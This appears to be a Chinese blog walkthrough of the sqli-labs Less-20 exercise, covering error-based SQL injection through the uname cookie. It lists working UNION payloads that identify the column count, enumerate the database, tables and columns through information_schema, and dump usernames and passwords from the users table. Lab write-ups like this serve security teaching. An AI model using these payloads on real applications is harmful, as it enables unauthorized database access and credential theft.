zoukankan      html  css  js  c++  java
  • 利用cookie进行SQL注入——看来还是人工注入要熟悉才行

        Less-20

        基于错误的cookie头部POST注入

    首先从已知的条件中我们知道这又是一道“头部注入”,那么我们先输入正确的用户名和密码看一下登录成功是什么样子的:

            回显有User-Agent、IP这样从当次Request直接获取的,
            也有Cookie这样刷新页面后仍存在的,
            还有登录用户的id、username、password。
            最下方是删除Cookie的按钮,点击后刷新到初始界面。

    从题意中我们大致可推断出注入点在cookie上:(查看后台核心源码:)

       
    可以看到查询语句查询变量$cookee,且是单引号字符型,那么我们就在cookie里注入:
    我们先查看一下请求头中的cookie值,我们可以有很多方法查看:

            burpsuite抓包,看响应头
            Chrome插件Edit This Cookie查看,存储的Cookie信息:
            浏览器,按F12,在“网络”中查看,看响应头

    1.burpsuite抓包过程:

    2.Chrome插件Edit This Cookie查看,存储的Cookie信息:(没用过,截取别人的)

    可以看到只存储了uname这一个字段的信息,且是明文存储。
    修改Cookie后刷新界面:

    3.F12查看

    从上面的操作中,可知操作流程:

            登陆后将uname写入Cookie。
            在每次Request (GET / POST)页面时后台判断Cookie是否存在,若不存在则为登录界面;若存在则读取Cookie中字段uname。
            在数据库中按username查询,若用户存在则将查询到用户id、username、password回显;若不存在…

        可以判断出注入点就在Cookie处,但是这里注入有三种途径:

            用Chrome插件EditThisCookie修改本地Cookie文件注入。
            用Firefox浏览器插件HackBar修改本地Cookie文件注入(这个并不是很好用,不推荐用)。
            用Burpsuite修改登陆(POST)成功后刷新时GET请求头中的Cookie值注入,这种方式不会修改本地的Cookie文件。

    这里演示第二个途径:
    我们得出后台根据Cookie中的uname查询用户的所有信息,即这是个SELECT语句,我们可以使用最简单的UNION注入。
    1.判断字符型 / 数字型注入
    爆出语法错误,看得出来就是单引号型;
    2.判断字段数与回显字段

    uname=Dumb' order by 4 -- #

    uname=1' union select 1,2,3 -- #

        PS:

        关于获取字段的小技巧:我们从后台源码中,一般只要看到 select * from 表名,一般是要猜这个表里的所有字段,然后进行注入,如果是 select username,password from 表名,这种形式的可以直接利用2个字段,作为语句的注入字段。

    3.暴库:

    uname=1' union select 1,2,database() -- #

    暴表:

    uname=1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' -- #

    暴字段:

    uname=1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users' -- #

    暴数据:(这两种其实是一样的)

    uname=1' union select 1,2,group_concat(username,0x7e,password)from security.users -- #

    uname=1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users# -- #

    上面就是简单的基于报错的注入

  • 相关阅读:
    课后作业
    使用类的静态字段和构造函数,我们可以跟踪某个类所创建对象的个数。请写一个类,在任何时候都可以向它查询“你已经创建了多少个对象?”。
    课程作业·02
    课程作业01
    课程作业02 将课程中的所有动手动脑的问题以及课后实验性的问题,整理成一篇文档。
    课程作业01 模仿JavaAppArguments.java示例,编写一个程序,此程序从命令行接收多个数字,求和之后输出结果。
    《大道至简》第一章伪代码
    Vue2.0版英雄联盟助手,我的第一个小开源项目
    二级下拉菜单的三种实现方法——CSS 、JS、 jQuery
    关于清除浮动 and position的一些注意点
  • 原文地址:https://www.cnblogs.com/bonelee/p/14883286.html
Copyright © 2011-2022 走看看